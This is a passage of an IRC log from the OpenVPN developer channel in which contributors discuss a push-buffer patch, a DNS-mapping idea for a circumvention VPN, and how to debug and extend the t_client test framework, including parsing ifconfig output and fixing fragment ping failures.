DNAT --to 1.2.3.4, return 10.42.0.1 to client. 11:42 < Thermi> sounds like something one should do in userspace with a real proxy 11:44 < ValdikSS> Thermi: trying to solve OpenVPN problems on a higher level. 11:44 < Thermi> ValdikSS: uargs. 11:45 < ValdikSS> Thermi: I have censorship circumvention VPN for a Russian users. It pushes 25000+ routes and OpenVPN handles this really bad. 11:46 < ValdikSS> Thermi: So I have an idea to push some range from a private range, like 10.0.0.0/16, and dynamically map blacklisted hosts to that range with DNS, and re-map it back on the server side. 11:47 < Thermi> ValdikSS: I know that you run that service. So your idea is that you map certain hosts to an IP on the server side, so you don't have to push that many routes. Instead, you do the mapping via faked DNS replies. 11:49 < ValdikSS> Thermi: yes, exactly 11:51 < ValdikSS> Thermi: to map certain hosts to certain different IP addresses from some range. 11:51 < danhunsaker> There's a good chance the Tor DNS would be available for use elsewhere... 11:52 < ValdikSS> danhunsaker: Tor DNS works only for .onion sites and does not support arbitrary mappings. 11:52 < ValdikSS> danhunsaker: and it can't run commands like iptables. 11:52 < Thermi> ValdikSS: How many hosts do you actually provide circumvention for right now? You could just statically map them, if they're not that many. 11:53 < danhunsaker> OK, so *not* like Tor DNS, then. 11:54 < ValdikSS> danhunsaker: pretty close, but not exactly since Tor is just a Socks5 proxy and it already knows where should it connect as long as it received the connection 11:55 < ValdikSS> danhunsaker: so Tor doesn't need to "set" it's DNS mapping at the system level, like with iptables, it just need to remember which address is which internally for a Socks5 server. 11:55 < danhunsaker> Transparent proxy *would* work, here... 11:56 < ValdikSS> danhunsaker: yep, but I need a VPN, not proxy 11:56 < danhunsaker> No reason you couldn't have both. 11:56 < danhunsaker> VPN to a proxy. 11:57 < danhunsaker> But. 11:57 < ValdikSS> danhunsaker: I want to be able to use all protocols, not just TCP or even HTTP 11:57 < ValdikSS> danhunsaker: And I already have proxy. VPN is another circumvention method. 11:57 < danhunsaker> Fair. 11:58 < ValdikSS> It's possible to configure everything statically, like to map one ip to another using cron, but that sucks and introduces problems which dynamic DNS mapper won't have. 12:04 <@syzzer> lev__: the problem is that buf is limited to 1024 bytes 12:05 <@syzzer> the code in send_push_reply() splits the options from push list across multiple of such buffers 12:05 <@syzzer> but with writing directly to buf, you're circumventing that logic 12:06 <@syzzer> in a non-robust way, because you're not compensating for the extra data in 'extra' 12:10 -!- plai [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 250 seconds] 12:15 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 12:15 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 12:16 < slypknot> cron2: don't know what is EXPECTed for t_client.rc, need a re-run i guess. Opened ports on FW for VPN, sorry about firewall .. any time you want to try again is fine. 12:21 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 272 seconds] 12:26 < lev__> syzzer: got it, https://github.com/lstipakov/openvpn/blob/master/src/openvpn/push.c#L369 12:26 <@vpnHelper> Title: openvpn/push.c at master · lstipakov/openvpn · GitHub (at github.com) 12:29 < lev__> will you send that gist as a patch? I could test it and ack. 12:35 <@syzzer> ok, I will 12:41 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 12:41 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 12:44 <@mattock> slypknot: triggered another build 12:46 <@mattock> you can get the IP from <n>:ifconfig_route.txt file in <buildslave-dir/build/<buildername>/tests/t_client_<buildername>-<id> 12:46 <@mattock> where <n> is the test number 12:46 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 272 seconds] 12:52 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 12:52 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 12:53 <@syzzer> lev__: patch on the list 12:53 <@syzzer> I'll also review the follow-up patch once we're done with this 12:55 <@cron2> syzzer, lev__: thanks :) 12:56 * cron2 expected some time this week to do openvpn stuff, but got totally swamped with... interesting shit 12:57 <@cron2> slypknot: connecting fine now, most of it looks good, EXPECT values in the logs now :) 12:58 <@cron2> mattock: could you add to the wiki that outgoing connections to the community VPN server, to both git servers (sf.net and cmocka's) and reference VPN needs to be permitted? 13:03 <@mattock> ah yes 13:03 <@mattock> will do 13:44 < slypknot> t_client.rc now loaded with expected EXPECT i think .. seems like a really back-to-face way to do things tho .. I am hoping this is the last 'test' run 13:53 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 272 seconds] 13:59 <@cron2> you're all welcome to invest a few weeks to build a better testing infrastructure 14:00 < slypknot> ;) 14:01 <@cron2> no, I'm serious here - because this is the amount of work that went into the t_client infrastructure. 14:01 <@cron2> Could it be better? absolutely 14:01 <@cron2> Is it better than what we had before (= nothing)? just so slightly 14:02 < slypknot> agreed: did not mean any offense ! 14:03 <@cron2> and it's more complicated than just "connect to the server, get a list of tests to run and the expected results" - because many platforms have sub-tests (like "2a, 2b, 2c, 2d" to test specific variants of tun behaviour on *that* OS) 14:04 <@cron2> t_client is a framework to run tests, especially for stuff that we broke before - and it needs to be fed with "what do I want to test here, what should I be seeing?"... 14:04 <@cron2> ... and runs on about 8 different operating systems, so just "so what IP address did I receive? store away for next run" is not trivial, as every OS'es "ifconfig" output is different, and not machine-friendly to parse 14:05 < slypknot> okok :) 14:07 < slypknot> if the servers are configd with ccd ifconfig pushes those IPs could be known in advance .. 14:07 <@cron2> they aren't - that's just a pool with --ip-pool-persist 14:07 <@cron2> so the server doesn't know until the first successful connect 14:08 < slypknot> like i said : ccd files .. 14:08 <@cron2> (and not all clients talk to all servers, or have been set up in the same order, so ipp.txt files are a bit unordered) 14:08 < slypknot> if you had thousands of buildslaves that would be different 14:08 <@cron2> ccd files are not overly usesful to test server pool behaviour, no? 14:08 < slypknot> ah .. ok 14:09 <@cron2> there's much more we could test on the server, though, like "ifconfig-push set up by client connect if the client requests it, by means of --setenv IV_WANT_xxx" and stuff like that 14:10 < slypknot> i do that with PING 14:10 <@cron2> someone has to think it up, someone has to set up the server, roll it out to all buildslaves, fix it, ... 14:10 <@cron2> so, slowly getting there... 14:10 <@cron2> Test sets succeded: 1 2 3 4 5. 14:10 <@cron2> Test sets failed: 6. 14:10 <@cron2> and the only test that fails is 14:10 <@cron2> FAIL: IPv4 ping test (3000 bytes) failed, but should succeed. 14:12 <@cron2> this is somewhat unexpected... same test works fine on other linuxes (stuff in BIG packets that get doubly fragmented, once by the IP layer outside and then by the --fragment layer) 14:12 <@cron2> strange enough the IPv6 3000 byte test works right 14:13 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 14:13 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 14:13 < slypknot> i have no further info to offer 14:17 <@cron2> one could just take out "6" from the test list at the beginning of t_client.rc, and rejoice that 1-5 are working :) 14:17 < slypknot> up to you 14:17 <@cron2> --fragment is a corner case, and test 6 will be reworked a bit more anyway 14:18 < slypknot> i can't see any errors on firewall .. which is a netscreen NS5GT 14:18 < slypknot> no errors in openvpn log 6:openvpn.log 14:19 < slypknot> let me look again 14:19 <@cron2> anything in dmeg or /var/log/messages? 14:19 < slypknot> Options error: option 'fragment' cannot be used in this context ([PUSH-OPTIONS] 14:20 < slypknot> in 6:openvpn.log 14:22 <@cron2> that's a server artefact, but since it is set on the command line, it still works :) - otherwise, neither the 1500 byte nor the 3000 byte ipv6 test would have worked 14:24 <@vpnHelper> RSS Update - tickets: #744: Automatic restarting the VPN connection fails, if smartcard authentication is used <https://community.openvpn.net/openvpn/ticket/744> 14:28 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 272 seconds] 14:30 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 14:30 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 14:31 < slypknot> dmesg & /var/log/messages have nothing special since boot 14:32 < slypknot> i could manually start the vpn .. 14:52 <@cron2> running fping with different packet sizes v4/v6 might give an idea what is failing, yep 14:53 -!- danhunsaker [sid145261@openvpn/corp/danhunsaker] has quit [Ping timeout: 252 seconds] 14:57 -!- danhunsaker [sid145261@openvpn/corp/danhunsaker] has joined #openvpn-devel 15:08 < slypknot> thi is up: 15:08 < slypknot> this* 15:09 < slypknot> Thu Sep 29 20:58:24 2016 OpenVPN 2.3_git [git:master/4db062901fba790a] x86_64-unknown-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [MH] [IPv6] built on Sep 2 2016 15:09 < slypknot> Thu Sep 29 20:58:24 2016 library versions: OpenSSL 1.0.1t 3 May 2016, LZO 2.08 15:10 < slypknot> sorry 15:10 < slypknot> i meant this: 15:10 < slypknot> /home/buildbot/openvpn/build-tincan-debian-85-amd64-stable-master/build# src/openvpn/openvpn --client --ca /home/buildbot/test-ca.crt --cert /home/buildbot/test-client.crt --key /home/buildbot/test-client.key --ns-cert-type server --nobind --comp-lzo --verb 3 --dev tun --proto udp --remote phillip.secure-computing.net --port 51198 --fragment 500 15:10 < slypknot> Thu Sep 29 21:03:55 2016 OpenVPN 2.3_git [git:master/348c416face9a025] x86_64-unknown-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [MH/PKTINFO] [IPv6] built on Sep 29 2016 15:10 < slypknot> Thu Sep 29 21:03:55 2016 library versions: OpenSSL 1.0.1t 3 May 2016, LZO 2.08 15:16 < slypknot> cron2: do you have a specific fping command ? 15:22 < slypknot> 10.194.6.1 : xmt/rcv/%loss = 5/5/0%, min/avg/max = 132/133/135 15:22 < slypknot> root@deb8-hyv-live-64:~# fping 10.194.6.1 -c 5 -b 3000 15:22 < slypknot> 10.194.6.1 : [0], 3028 bytes, 206 ms (206 avg, 0% loss) 15:22 < slypknot> 10.194.6.1 : [1], 3028 bytes, 207 ms (206 avg, 0% loss) 15:22 < slypknot> 10.194.6.1 : [2], 3028 bytes, 210 ms (208 avg, 0% loss) 15:22 < slypknot> 10.194.6.1 : [3], 3028 bytes, 207 ms (207 avg, 0% loss) 15:22 < slypknot> 10.194.6.1 : [4], 3028 bytes, 225 ms (211 avg, 0% loss) 15:22 < slypknot> 10.194.6.1 : xmt/rcv/%loss = 5/5/0%, min/avg/max = 206/211/225 15:24 < slypknot> -- 15:24 < slypknot> btw I still have not setup mbedtls correctly 15:24 < slypknot> -- 15:25 <@cron2> mmmh. does pinging 10.194.0.1 work as well? 15:29 < slypknot> root@deb8-hyv-live-64:~# fping 10.194.-.1 -c 5 -b 3000 15:29 < slypknot> ^C 15:29 < slypknot> root@deb8-hyv-live-64:~# fping 10.194.0.1 -c 5 -b 3000 15:29 < slypknot> 10.194.0.1 : [0], 3028 bytes, 206 ms (206 avg, 0% loss) 15:29 < slypknot> 10.194.0.1 : [1], 3028 bytes, 206 ms (206 avg, 0% loss) 15:29 < slypknot> 10.194.0.1 : [2], 3028 bytes, 206 ms (206 avg, 0% loss) 15:29 < slypknot> 10.194.0.1 : [3], 3028 bytes, 206 ms (206 avg, 0% loss) 15:30 < slypknot> 10.194.0.1 : [4], 3028 bytes, 206 ms (206 avg, 0% loss) 15:30 < slypknot> 10.194.0.1 : xmt/rcv/%loss = 5/5/0%, min/avg/max = 206/206/206 15:30 < slypknot> with this command line: 15:30 < slypknot> root@deb8-hyv-live-64:/home/buildbot/openvpn/build-tincan-debian-85-amd64-stable-master/build# src/openvpn/openvpn --client --ca /home/buildbot/test-ca.crt --cert /home/buildbot/test-client.crt --key /home/buildbot/test-client.key --ns-cert-type server --nobind --comp-lzo --verb 3 --dev tun --proto udp --remote phillip.secure-computing.net --port 51198 --fragment 500 15:30 < slypknot> Thu Sep 29 21:24:27 2016 OpenVPN 2.3_git [git:master/348c416face9a025] x86_64-unknown-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [MH/PKTINFO] [IPv6] built on Sep 29 2016 15:30 < slypknot> Thu Sep 29 21:24:27 2016 library versions: OpenSSL 1.0.1t 3 May 2016, LZO 2.08 15:37 <@cron2> so everything is fine... no idea why the test failed. But sometimes there's flukes... 15:39 < slypknot> root@deb8-hyv-live-64:~# fping 10.194.0.1 -c 5 -b 4787 15:39 < slypknot> 10.194.0.1 : xmt/rcv/%loss = 5/0/100% 15:39 < slypknot> root@deb8-hyv-live-64:~# fping 10.194.0.1 -c 5 -b 4786 15:39 < slypknot> 10.194.0.1 : [0], 4096 bytes, 248 ms (248 avg, 0% loss) 15:39 < slypknot> 10.194.0.1 : [1], 4096 bytes, 248 ms (248 avg, 0% loss) 15:39 < slypknot> 10.194.0.1 : [2], 4096 bytes, 247 ms (248 avg, 0% loss) 15:39 < slypknot> 10.194.0.1 : [3], 4096 bytes, 248 ms (248 avg, 0% loss) 15:39 < slypknot> 10.194.0.1 : [4], 4096 bytes, 247 ms (248 avg, 0% loss) 15:39 < slypknot> 10.194.0.1 : xmt/rcv/%loss = 5/5/0%, min/avg/max = 247/248/248 15:41 < slypknot> ok .. well other than w10 host rebootting that vm should be availble 24/7 (once i figure out why buildbot systemd service does not work as expected) 15:45 < slypknot> eg: 15:45 < slypknot> root@deb8-hyv-live-64:/etc/systemd/system# systemctl enable buildslave 15:46 < slypknot> Synchronizing state for buildslave.service with sysvinit using update-rc.d... 15:46 < slypknot> Executing /usr/sbin/update-rc.d buildslave defaults 15:46 < slypknot> Executing /usr/sbin/update-rc.d buildslave enable 15:46 < slypknot> for some reason it fails to start .. 15:47 < slypknot> otoh: 'systemctl start buildslave' works fine 15:56 < slypknot> I realise this is off-topic .. but how does buildbot override my handwritten systemd .service file ? 15:56 < slypknot> buildslave.service: ExecStart=/usr/bin/buildslave start /home/buildbot/openvpn 16:12 < slypknot> i see: 16:12 < slypknot> buildslave[607]: su: must be run from a terminal 16:23 -!- krzie [ba784d5c@openvpn/community/support/krzee] has joined #openvpn-devel 16:23 -!- mode/#openvpn-devel [+v krzie] by ChanServ 16:23 -!- krzie is now known as krzee 16:35 -!- krzee [ba784d5c@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 16:47 < slypknot> ha .. sorted ! 16:47 < slypknot> 24/7 it is ;) 17:42 < slypknot> FYI: buildslave.service: 17:42 < slypknot> PrivateTmp=true 17:42 < slypknot> Type=forking 17:42 < slypknot> ExecStart=/etc/init.d/buildslave start 18:56 < danhunsaker> Lawl. "17:51:16 <wknapik> maybe putting windows-specific info in a man page is not the best idea ? it's already 2929 lines long and cumbersome enough."\ 19:13 < Thermi> Different man pages for different platforms? 19:17 < danhunsaker> Windows doesn't use the man system. Though recent versions will probably support it, now. :D 19:17 < danhunsaker> I do think that's the gist of the comment, though, yeah. 19:35 < danhunsaker> It's helpful for server operators to know it, though. It doesn't make much sense to make admins run Windows just to get that info. 23:02 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 23:02 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Fri Sep 30 2016 01:10 <@cron2> the man page is really just a reference - and we need a tutorial-style manual 02:00 < danhunsaker> This was from an individual who insisted OpenVPN should focus more on users who are looking for a full privacy solution. 02:00 < danhunsaker> Was really annoyed there isn't a wiki entry on it. 02:03 < danhunsaker> So I told them to write one. 😄 02:43 < danhunsaker> Here's an interesting scenario. User has a link with an MTU of 1480, but an MRU of 1492. Not sure why the message unit sizes aren't symmetric, but they're asking if there's a way to --mssfix just one way - either the transmit or the receive - rather than both. 02:45 < danhunsaker> I've not encountered any situation where the message unit sizes were different on a single interface, so I'm not sure if that's even a common thing, or a sign of trouble someplace. 02:57 < danhunsaker> Apparently it comes from the PPPoE negotiation... Less surprising, but that's outside their ability to alter. So. Back at how to address it so the extra 12 bytes per packet aren't wasted. 03:36 <@mattock> cron2: I had a look at t_client.sh and noticed that the current IP address is not actually stored in a variable 03:36 <@mattock> which complicates things, as parsing ip or ifconfig output reliably would be a bit nasty (though doable) 03:37 <@mattock> I recall you saying that perl is installed on all the platforms we test - is this correct? 03:37 <@mattock> if yes, then probably the least nasty option would be something along these lines: http://perlmaven.com/what-is-my-ip-address 03:37 <@vpnHelper> Title: What is my IP address, how to determine the IP address of your computer using Perl (at perlmaven.com) 03:38 <@mattock> basically it would connect to an IP (=test server IP) and figure out the IP of the interface that was used 03:38 <@mattock> in this case the IP of the VPN interface on the test client side 03:39 <@mattock> we could potentially use a static copy of Net::Address::IP::Local perl module to avoid an initial install from cpan 03:39 <@mattock> thoughts? 03:45 <@mattock> then again, we do know the subnet for each test case, so grepping that in ifconfig/ip output simplifies things quite a bit 04:02 <@mattock> for example: 04:02 <@mattock> $ ifconfig|grep 10\.177\.36|tr -s " "|awk -c -F'[:| ]' '{ print $4 }' 04:02 <@mattock> $ ip addr show|grep 10\.177\.36|tr -s " "|awk -c -F'[:|/| ]' '{ print $5 }' 04:03 <@mattock> the basic approach probably works for all platforms, but the column name almost certainly changes - I'll test on FreeBSD to get an idea 04:05 <@dazo> danhunsaker: have you seen the "Getting Started" guide? I wrote that a while ago as a response to man-page and howto complaints 04:05 <@dazo> danhunsaker: that wiki post can most likely be improved a lot too, though 04:06 <@dazo> https://community.openvpn.net/openvpn/wiki/GettingStartedwithOVPN 04:06 <@vpnHelper> Title: GettingStartedwithOVPN – OpenVPN Community (at community.openvpn.net) 04:06 <@mattock> cron2: on FreeBSD this does the same trick: 04:06 <@mattock> $ ifconfig | grep 10\.177\.36 | tr -s " " | awk -F'[:| ]' '{ print $3 }' 04:07 <@mattock> the approach I'm think of taking is to separate EXCEPT_IFCONFIG_<n> values into a separate file, which will be created _iff_ it does not exist, based on the data parsed as above 04:08 <@mattock> the main t_client.rc would need to contain info about the subnet for each test, but nothing else 04:08 <@mattock> one could also manually configure the EXCEPT_IFCONFIG_<n> variables, and t_client.sh would not touch them 04:09 <@mattock> or, if the IP addresses would get messed up recovering would be as easy as "rm except_ifconfig.rc" or such 04:09 <@mattock> one scenario where that could happen is if the test server loses track of the (static) client IPs (crash, rebuild, whatever) 04:11 <@dazo> mattock: you can squeeze all this into a single awk call 04:11 <@dazo> mattock: if you provide me with a text output of ifconfig on that box, I'll help you with it 04:12 <@cron2> mattock: well, if you know that it's going to be 10.177, this is the easy part :) 04:13 < danhunsaker> dazo: We toss that link at everyone eventually, yeah. I only brought it up because I thought it was amusing. 04:14 <@cron2> mattock: and "connect to a test server to find your IP" assumes that the VPN is actually working, and passing TCP traffic nicely, which is what we want to *test* here... 04:14 <@mattock> yes, but the "connect to test server to get IP" is only for the initial setup to create the EXCEPT_IFCONFIG_<n> entries 04:15 <@mattock> not for subsequent runs 04:15 <@cron2> yeah, but we still do not know if the VPN is actually going to work at this point :) 04:15 <@dazo> danhunsaker: ahh ... well, with all that said ... I have been thinking about splitting the openvpn(8) man page into a few more logical pieces ... so openvpn(8) is the main man page with the overview and where you drill down to the man page with the details you need 04:15 <@mattock> that said, I think the command-line trickery will be better, as we can weed out useless lines from ifconfig/ip output based on data we can determine beforehand (that is, VPN subnets) 04:16 <@dazo> mattock: ip a s | awk -c -F '[:| ]' '$6 ~ /10\.177\.36/ {print $8}' 04:16 <@cron2> so I think a more minimalistic approach could be to look at the ifconfig *diff* file, and grab what looks like a newly added v4 and v6 address - there should only be one v4 address and one v6 address (excluding fe80: stuff) 04:16 <@cron2> we already have that diff file, and logic for all the platforms to find "relevant" info, which always contains the new addresses (otherwise the test will fail due to "nothing has changed") 04:16 < danhunsaker> +1 to that. 04:17 <@cron2> dazo: that's a very perlish way to do awk :) 04:17 <@dazo> hahaha :) 04:18 < danhunsaker> Happen to love me some regexes 04:18 <@dazo> cron2: I thought perl was just an advanced awk mode though .... ;-) 04:18 <@mattock> dazo: did not work without a minor modification: 04:18 <@mattock> ip a s | awk -c -F '[:|/| ]' '$6 ~/10\.177\.36/ {print $8}' 04:18 <@mattock> produced <ipaddress>/<netmask>, not <ipaddress> 04:19 <@mattock> cron2: yeah, I'll look at the diff - at least it contains less noise 04:19 <@dazo> mattock: might be that mine and yours iproute2 have slightly different outputs ... as my $8 contains the broadcast address 04:20 <@dazo> mattock: I believe that is due to the having 'space' as a delimiter though ... I think that could be avoided 04:20 <@mattock> dazo: yep, minor differences in output are my main concern in general, which is why the perl approach is somewhat compelling 04:21 <@mattock> then again, if the parser is well-written, there should not be too many breakages 04:21 < danhunsaker> I find myself wondering if the /sys or /proc filesystems wouldn't have the values we need somewhere... 04:21 <@mattock> danhunsaker: probably, but we need to support linux, all the bsd's, aix, solaris, etc 04:22 < danhunsaker> It's possible those are more consistent than iproute2... 04:22 <@mattock> yeah, I read that iproute2 output can be quite nasty to parse 04:23 <@dazo> danhunsaker: no, it doesn't ... which is why I got involved in the python-ethtool project many years ago (and unfortunately didn't succeed too well to maintain it well) 04:23 < danhunsaker> Huh. Wonder where iproute2 et al get it from, then... 04:24 < danhunsaker> Which is to say, how the kernel exposes that info. 04:24 <@dazo> I wouldn't say net-tools (ifconfig) is any easier to parse than iproute2 though 04:25 <@dazo> danhunsaker: system calls 04:26 <@dazo> danhunsaker: In Linux you can do some ioctl() magic on specific devices to retrieve some information (ip aliases and ipv6 are really messy and almost impossible to get right, which is why net-tools sucks so much) 04:26 < danhunsaker> Well, yeah. Just that most such settings info calls are also exposed via FS. 04:26 <@dazo> danhunsaker: or you can use NETLINK, which iproute2 mostly uses ... and is far better to retrieve proper IPv6 information 04:26 < danhunsaker> So I am just surprised they aren't there. 04:28 < danhunsaker> So it sounds more and more like the most robust solution is gonna be a script of some kind. 04:28 < danhunsaker> Though I'd look into one that enumerates interfaces rather than making external requests... 04:28 <@mattock> -> lunch 04:29 <@dazo> absolutely .... for us, if sane Perl modules exists, I'd say that's the best approach ... otherwise Python might be reasonable too, but it most likely lacks some useful modules for this (py-ethtool is very Linux centric) 04:30 < danhunsaker> -> sleep (hopefully, at some point, since I'm supposed to be back on the clock in 6.5 hours or so...) 04:30 <@mattock> danhunsaker: good night! 04:30 < danhunsaker> mattock: good lunch! 04:30 <@mattock> thank you! :) 04:30 <@mattock> dazo: I only did brief googling, but it seems that an external perl module is required 04:31 <@mattock> which would probably mean downloading it from cpan 04:31 <@mattock> if cpan is installed with perl on all the platforms, then that is probably not a big deal 04:31 < danhunsaker> Can bundle it into the test suite, I'm sure. 04:32 <@mattock> yes, that is the other option 04:32 <@mattock> depending on how many dependencies the module we'd use has 04:32 <@mattock> if it's self-contained then bundling would be a good option 04:33 <@dazo> mattock: https://metacpan.org/pod/IO::Interface::Simple ... this might be one reasonable approach 04:33 <@vpnHelper> Title: IO::Interface::Simple - Perl extension for access to network card configuration information - metacpan.org (at metacpan.org) 04:36 <@mattock> the "connect to target host to determine interface that was used" approach used Net::Address::IP::Local (http://perlmaven.com/what-is-my-ip-address) 04:36 <@vpnHelper> Title: What is my IP address, how to determine the IP address of your computer using Perl (at perlmaven.com) 04:36 <@mattock> a reasonable option I think if cpan needs to be used anyways 04:37 < danhunsaker> Still wouldn't work if the tunnel has any issues... 04:37 <@mattock> which would be good, so that it would fail immediately instead of producing odd results when parsing ifconfig output 04:37 <@mattock> tunnel works -> get an IP 04:37 <@mattock> tunnel does not work -> fail 04:37 <@dazo> mattock: I think that one only identifies the IP address which is being in use when reaching for a particular host/IP ... not sure what your requirements are though .... IO::Interface::Simple can accesses a named device directly 04:38 <@mattock> right now we don't know the device name afaik 04:38 < danhunsaker> Yes, well, there wouldn't be any strange parsing errors if ifconfig isn't in use to begin with. 04:39 <@dazo> mattock: but that is something we can control ... IO::Interface::Simple can also produce a list of configured interfaces 04:39 < danhunsaker> Isn't the device usually specified in the config? 04:39 <@mattock> dazo: yes, that is true, we can set static tun/tap interface names definitely 04:39 <@mattock> anyways, now I need to split 04:40 <@dazo> :) 04:51 <@cron2> mattock: we can't 04:51 <@cron2> some platforms are not allowing this 04:51 <@cron2> just forget about "on Linux, I can do this" :-) 04:52 <@cron2> danhunsaker: some platforms allow arbitrary names, some allow "tun-with-number-<x>", some will only give you "the first one that is free" (--dev tun) 04:53 <@cron2> looking at the diff and grabbing what looks like an IP address from there shouldn't really be that hard - "\s(\d+\.\d+\.\d+\.\d+)\s" and weed out 255.255. stuff 04:53 < danhunsaker> Windows, in particular, is wonky with interfaces. But it does allow connecting to specific ones, at least. 04:53 <@cron2> danhunsaker: well, windows will not allow openvpn to set the name, for example 04:53 < danhunsaker> Disappointing that others don't. 04:54 < danhunsaker> Nor to actually create the device, no. 04:54 <@cron2> if you *precreate* the interface, all others will also allow that :) 04:54 <@cron2> (so our code could do 'system("ifconfig tap3 create")', but it doesn't do that on all platforms that would need it) 04:55 < danhunsaker> Huh. That would work for test systems, at least, I would think... 04:55 <@cron2> and besides the fact that some platforms are not allowing it, our *test framework* needs to also test "give me a dynamic one!" 04:56 <@cron2> we do test both variants - "give me the first free one" and "give me tun3" 04:56 <@cron2> and we *must* test both :-) 04:56 < danhunsaker> Fair. 04:56 <@cron2> ... because we've managed to break either one at some point, for some platform :-) 04:57 < danhunsaker> Well, yeah. That's how software dev works. 99 bugs, patch one, 127 bugs. 04:59 < danhunsaker> Hence testing *ALL THE THINGS*. 05:16 <@cron2> which implies t_client can be a bitch to set up :) 05:18 < danhunsaker> Yeah. The AS QA testing setup is gonna be pretty complicated, too... 05:18 < danhunsaker> Finally getting that to a point where I can write tests. 05:18 < danhunsaker> Had to recreate the Windows VMs from scratch. 06:16 <@mattock> cron2: ok, so searching for the IP in the diff, or connecting to the IP using perl seem to be the main options 06:17 <@mattock> the first one would be nice as it would not require extra software, so I'll look into it first 06:24 < danhunsaker> What about combining IO::Interface::Simple with the diff approach? It can iterate the configured interfaces, which would provide the data in an already-parsed format, *and* not rely on the tunnel and test server both working properly to get the correct IP... 06:25 < danhunsaker> (Also seems likely to be more robust than searching a diff of a command that is known to be inconsistent, especially when v6 addresses are desired...) 06:26 <@mattock> hmm, still up? :P 06:27 < danhunsaker> Gave up on sleep for now. 06:29 <@cron2> danhunsaker: you'd need to run that twice and store the result in between (to see "what is new here?"), plus "have perl and that module" :) 06:29 <@cron2> the diff is already taking "what has changed since openvpn started?" into account... 06:30 < danhunsaker> Right. I'm proposing replacing that as well. A diff in a well-known format is far more useful than a diff in an inconsistent one. 06:31 <@mattock> indeed, but that is a bit more refactoring 06:32 < danhunsaker> So is any level of robustness in development. 06:32 < danhunsaker> It's not my call, either way. 06:32 < danhunsaker> Just proposing ideas. 06:33 < danhunsaker> It's up to others to determine priorities like robustness versus minimal code change. 06:34 < danhunsaker> ls 06:35 < danhunsaker> Oops. Wrong computer. 06:38 <@mattock> hmm, it seems that parsing ifconfig/ip output directly without looking at the diff might be easier - the diff also contains route stuff, so there are many lines with the given IP in there 06:40 <@cron2> but in ifconfig output, there will be MANY IPs, and you don't know which interface is "yours" 06:40 <@cron2> --dev tun -> interface could be tun1 (if community vpn is on tun0), or "anywhere else"... 06:45 <@mattock> which is why grep with the subnet is required 06:45 <@mattock> we can determine the subnet statically per-test 06:46 <@mattock> that will filter out all the crap 06:46 <@mattock> (hopefully _all_) 06:47 <@mattock> it might even be possible to do a "ifconfig|grep 10\.194\." to get one line with the info 06:48 <@mattock> regardless of the test 06:48 <@mattock> then it's just the matter of cleaning up the line (tr -d " ") and selecting the right column with awk 06:51 < slypknot> perhaps I am missing the point (as usual) could you not use an --up script to echo recieved IP address to a suitable log ? 06:52 <@mattock> hmm 06:52 <@mattock> that is actually a good idea if it works 06:52 <@mattock> I'll do some testing 06:52 * slypknot had a good idea .. shock ! 06:52 <@plaisthos> hmpf 06:52 <@mattock> because the assumption is that this will _not_ work unless OpenVPN connected 06:53 <@plaisthos> make check still fails 06:53 <@plaisthos> FAIL: check_ifconfig(): expected IPv4 address '10.194.2.54' not found in ifconfig output. 06:53 <@plaisthos> FAIL: check_ifconfig(): expected IPv6 address 'fd00:abcd:194:2::100c' not found in ifconfig output. 06:54 <@cron2> well, one would have to instrument every single test, and we might want to actually test --up functionality in some tests, so I'd rather not use "inside of openvpn" 06:54 < slypknot> it was just a thought 06:54 <@plaisthos> cron2: what IPs should I put there as expected IPS? 06:55 <@plaisthos> different ones for every test? 06:55 <@cron2> plaisthos: every test SET has the same (all "2<x>"), and every new server/port will give you new addresses 06:55 < danhunsaker> Testing is hard. All your test infrastructure has to exist outside the thing(s) you're testing. So the normal approaches won't be sufficient... 06:55 <@cron2> so, for you I have... 06:55 <@cron2> tap-udp-p2mp/ipp.txt:plaisthos,10.194.4.10,fd00:abcd:194:4::1008 06:55 <@cron2> tun-tcp-p2mp/ipp.txt:plaisthos,10.194.1.60,fd00:abcd:194:1::100e 06:55 <@cron2> tun-udp-p2mp-112-mask/ipp.txt:plaisthos,10.194.5.40,fd00:abcd:194:5::1009 06:55 <@cron2> tun-udp-p2mp-topology-subnet/ipp.txt:plaisthos,10.194.3.10,fd00:abcd:194:3::1008 06:55 <@cron2> tun-udp-p2mp/ipp.txt:plaisthos,10.194.2.60,fd00:abcd:194:2::100e 06:56 <@cron2> tun-udp-p2mp/ipp.txt:plaisthos-maxosx-amd64,10.194.2.104,fd00:abcd:194:2::1019 06:56 <@mattock> perhaps integrating the "generate EXPECT_IFCONFIG_<n>" lines to t_client.sh is a the wrong approach 06:56 <@plaisthos> thanks 06:56 <@cron2> watch out, that's ipp.txt, so "subnet" - +2 might be needed 06:56 <@mattock> I'll see if I could use the --up approach in a separate script that just uses t_client.rc 06:56 <@cron2> mattock: I think having something like EXPECT_IFCONFIG_<n>=auto:10.194.3 06:57 <@cron2> and then the script can lookup "10.194.3" on first run, and store that somewhere, and use it for future runs - that sounds quite practical 06:57 <@plaisthos> make check also only runs 2a and 2c 06:58 <@cron2> ifconfig -a |fgrep $PREFIX | sed -e 's/^.*$PREFIX/$PREFIX/' -e 's/ .*$//' and you're done 06:58 <@cron2> plaisthos: well, t_client.rc on your machine was reduced to only test --multihome, if I remember right :) 06:58 